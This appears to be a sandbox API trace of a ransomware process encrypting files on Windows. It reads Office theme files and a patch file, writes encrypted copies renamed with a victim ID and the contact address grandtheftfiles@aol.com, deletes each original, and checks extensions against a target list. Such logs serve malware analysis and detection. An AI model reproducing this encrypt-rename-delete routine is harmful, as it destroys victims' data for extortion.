	[0165.227] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\frosted glass.eftx.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560
	[0165.227] GetLastError () returned 0x0
	[0165.227] ReadFile (in: hFile=0x548, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x51933, lpOverlapped=0x0) returned 1
	[0165.240] WriteFile (in: hFile=0x560, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x51940, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x51940, lpOverlapped=0x0) returned 1
	[0165.687] ReadFile (in: hFile=0x548, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0165.687] WriteFile (in: hFile=0x560, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0xf8, lpOverlapped=0x0) returned 1
	[0165.687] SetEndOfFile (hFile=0x560) returned 1
	[0165.687] CloseHandle (hObject=0x560) returned 1
	[0165.687] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.687] SetEndOfFile (hFile=0x548) returned 1
	[0166.223] CloseHandle (hObject=0x548) returned 1
	[0166.223] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0166.223] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\frosted glass.eftx")) returned 1
	[0166.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90
	[0166.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90
	[0166.224] lstrlenW (lpString=".doc") returned 4
	[0166.224] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0166.224] lstrlenW (lpString=".docx") returned 5
	[0166.224] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0166.224] lstrlenW (lpString=".pdf") returned 4
	[0166.224] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0166.224] lstrlenW (lpString=".xls") returned 4
	[0166.224] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0166.224] lstrlenW (lpString=".xlsx") returned 5
	[0166.224] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0166.224] lstrlenW (lpString=".ppt") returned 4
	[0166.224] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0166.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90
	[0166.224] lstrlenW (lpString=".zip") returned 4
	[0166.224] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0166.224] lstrlenW (lpString=".rar") returned 4
	[0166.224] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0166.224] lstrlenW (lpString=".bz2") returned 4
	[0166.224] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0166.224] lstrlenW (lpString=".7z") returned 3
	[0166.224] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0166.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90
	[0166.224] lstrlenW (lpString=".dbf") returned 4
	[0166.224] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0166.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90
	[0166.224] lstrlenW (lpString=".1cd") returned 4
	[0166.225] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0166.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90
	[0166.225] lstrlenW (lpString=".jpg") returned 4
	[0166.225] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0166.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90
	[0166.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90
	[0166.225] lstrlenW (lpString=".doc") returned 4
	[0166.225] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0166.225] lstrlenW (lpString=".docx") returned 5
	[0166.225] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0166.225] lstrlenW (lpString=".pdf") returned 4
	[0166.225] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0166.225] lstrlenW (lpString=".xls") returned 4
	[0166.225] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0166.225] lstrlenW (lpString=".xlsx") returned 5
	[0166.225] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0166.225] lstrlenW (lpString=".ppt") returned 4
	[0166.225] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0166.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90
	[0166.225] lstrlenW (lpString=".zip") returned 4
	[0166.225] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0166.225] lstrlenW (lpString=".rar") returned 4
	[0166.225] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0166.225] lstrlenW (lpString=".bz2") returned 4
	[0166.225] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0166.225] lstrlenW (lpString=".7z") returned 3
	[0166.225] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0166.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90
	[0166.225] lstrlenW (lpString=".dbf") returned 4
	[0166.225] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0166.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90
	[0166.225] lstrlenW (lpString=".1cd") returned 4
	[0166.225] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0166.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90
	[0166.225] lstrlenW (lpString=".jpg") returned 4
	[0166.225] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0166.226] lstrcmpiW (lpString1=".eftx", lpString2=".GTF") returned -1
	[0166.226] lstrlenW (lpString="Smokey Glass.eftx") returned 17
	[0166.226] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\smokey glass.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0166.226] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=186195) returned 1
	[0166.226] CloseHandle (hObject=0x548) returned 1
	[0166.226] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\smokey glass.eftx")) returned 0x220
	[0166.227] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\smokey glass.eftx.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0166.227] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\smokey glass.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0166.227] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.227] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.227] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\smokey glass.eftx.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c
	[0166.228] GetLastError () returned 0x0
	[0166.228] ReadFile (in: hFile=0x548, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x2d753, lpOverlapped=0x0) returned 1
	[0166.235] WriteFile (in: hFile=0x43c, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x2d760, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x2d760, lpOverlapped=0x0) returned 1
	[0166.238] ReadFile (in: hFile=0x548, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0166.238] WriteFile (in: hFile=0x43c, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0xf6, lpOverlapped=0x0) returned 1
	[0166.238] SetEndOfFile (hFile=0x43c) returned 1
	[0166.238] CloseHandle (hObject=0x43c) returned 1
	[0166.239] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.239] SetEndOfFile (hFile=0x548) returned 1
	[0166.245] CloseHandle (hObject=0x548) returned 1
	[0166.245] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0166.245] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\smokey glass.eftx")) returned 1
	[0166.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89
	[0166.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89
	[0166.246] lstrlenW (lpString=".doc") returned 4
	[0166.246] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0166.246] lstrlenW (lpString=".docx") returned 5
	[0166.246] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0166.246] lstrlenW (lpString=".pdf") returned 4
	[0166.246] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0166.246] lstrlenW (lpString=".xls") returned 4
	[0166.246] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0166.246] lstrlenW (lpString=".xlsx") returned 5
	[0166.246] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0166.246] lstrlenW (lpString=".ppt") returned 4
	[0166.246] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0166.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89
	[0166.246] lstrlenW (lpString=".zip") returned 4
	[0166.246] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0166.246] lstrlenW (lpString=".rar") returned 4
	[0166.246] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0166.246] lstrlenW (lpString=".bz2") returned 4
	[0166.246] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0166.246] lstrlenW (lpString=".7z") returned 3
	[0166.246] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0166.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89
	[0166.246] lstrlenW (lpString=".dbf") returned 4
	[0166.246] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0166.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89
	[0166.246] lstrlenW (lpString=".1cd") returned 4
	[0166.247] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0166.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89
	[0166.247] lstrlenW (lpString=".jpg") returned 4
	[0166.247] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0166.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89
	[0166.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89
	[0166.247] lstrlenW (lpString=".doc") returned 4
	[0166.247] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0166.247] lstrlenW (lpString=".docx") returned 5
	[0166.247] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0166.247] lstrlenW (lpString=".pdf") returned 4
	[0166.247] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0166.247] lstrlenW (lpString=".xls") returned 4
	[0166.247] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0166.247] lstrlenW (lpString=".xlsx") returned 5
	[0166.247] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0166.247] lstrlenW (lpString=".ppt") returned 4
	[0166.247] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0166.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89
	[0166.247] lstrlenW (lpString=".zip") returned 4
	[0166.247] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0166.247] lstrlenW (lpString=".rar") returned 4
	[0166.247] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0166.247] lstrlenW (lpString=".bz2") returned 4
	[0166.247] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0166.247] lstrlenW (lpString=".7z") returned 3
	[0166.247] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0166.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89
	[0166.247] lstrlenW (lpString=".dbf") returned 4
	[0166.247] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0166.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89
	[0166.247] lstrlenW (lpString=".1cd") returned 4
	[0166.247] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0166.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89
	[0166.247] lstrlenW (lpString=".jpg") returned 4
	[0166.247] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0166.248] lstrcmpiW (lpString1=".eftx", lpString2=".GTF") returned -1
	[0166.248] lstrlenW (lpString="Subtle Solids.eftx") returned 18
	[0166.248] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\subtle solids.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0166.249] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=45435) returned 1
	[0166.249] CloseHandle (hObject=0x548) returned 1
	[0166.249] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\subtle solids.eftx")) returned 0x220
	[0166.249] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\subtle solids.eftx.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0166.249] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\subtle solids.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0166.249] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.249] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.250] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\subtle solids.eftx.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c
	[0166.250] GetLastError () returned 0x0
	[0166.250] ReadFile (in: hFile=0x548, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0xb17b, lpOverlapped=0x0) returned 1
	[0166.253] WriteFile (in: hFile=0x43c, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0xb180, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0xb180, lpOverlapped=0x0) returned 1
	[0166.255] ReadFile (in: hFile=0x548, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0166.255] WriteFile (in: hFile=0x43c, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0xf8, lpOverlapped=0x0) returned 1
	[0166.255] SetEndOfFile (hFile=0x43c) returned 1
	[0166.255] CloseHandle (hObject=0x43c) returned 1
	[0166.255] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.255] SetEndOfFile (hFile=0x548) returned 1
	[0166.517] CloseHandle (hObject=0x548) returned 1
	[0166.517] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0166.775] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\subtle solids.eftx")) returned 1
	[0166.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90
	[0166.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90
	[0166.846] lstrlenW (lpString=".doc") returned 4
	[0166.846] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0166.846] lstrlenW (lpString=".docx") returned 5
	[0166.846] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0166.846] lstrlenW (lpString=".pdf") returned 4
	[0166.846] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0166.846] lstrlenW (lpString=".xls") returned 4
	[0166.846] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0166.846] lstrlenW (lpString=".xlsx") returned 5
	[0166.846] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0166.846] lstrlenW (lpString=".ppt") returned 4
	[0166.846] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0166.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90
	[0166.846] lstrlenW (lpString=".zip") returned 4
	[0166.846] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0166.846] lstrlenW (lpString=".rar") returned 4
	[0166.846] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0166.846] lstrlenW (lpString=".bz2") returned 4
	[0166.846] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0166.846] lstrlenW (lpString=".7z") returned 3
	[0166.846] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0166.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90
	[0166.846] lstrlenW (lpString=".dbf") returned 4
	[0166.846] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0166.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90
	[0166.847] lstrlenW (lpString=".1cd") returned 4
	[0166.847] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0166.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90
	[0166.847] lstrlenW (lpString=".jpg") returned 4
	[0166.847] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0166.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90
	[0166.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90
	[0166.847] lstrlenW (lpString=".doc") returned 4
	[0166.847] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0166.847] lstrlenW (lpString=".docx") returned 5
	[0166.847] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0166.847] lstrlenW (lpString=".pdf") returned 4
	[0166.847] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0166.847] lstrlenW (lpString=".xls") returned 4
	[0166.847] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0166.847] lstrlenW (lpString=".xlsx") returned 5
	[0166.847] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0166.847] lstrlenW (lpString=".ppt") returned 4
	[0166.847] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0166.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90
	[0166.847] lstrlenW (lpString=".zip") returned 4
	[0166.847] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0166.847] lstrlenW (lpString=".rar") returned 4
	[0166.847] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0166.847] lstrlenW (lpString=".bz2") returned 4
	[0166.847] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0166.847] lstrlenW (lpString=".7z") returned 3
	[0166.847] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0166.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90
	[0166.847] lstrlenW (lpString=".dbf") returned 4
	[0166.847] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0166.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90
	[0166.847] lstrlenW (lpString=".1cd") returned 4
	[0166.847] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0166.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90
	[0166.848] lstrlenW (lpString=".jpg") returned 4
	[0166.848] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0166.848] lstrcmpiW (lpString1=".msp", lpString2=".GTF") returned 1
	[0166.848] lstrlenW (lpString="QFE31928.msp") returned 12
	[0166.848] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31928.msp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534
	[0166.956] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=25876480) returned 1
	[0166.956] CloseHandle (hObject=0x534) returned 1
	[0166.956] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31928.msp")) returned 0x220
	[0166.958] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31928.msp.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
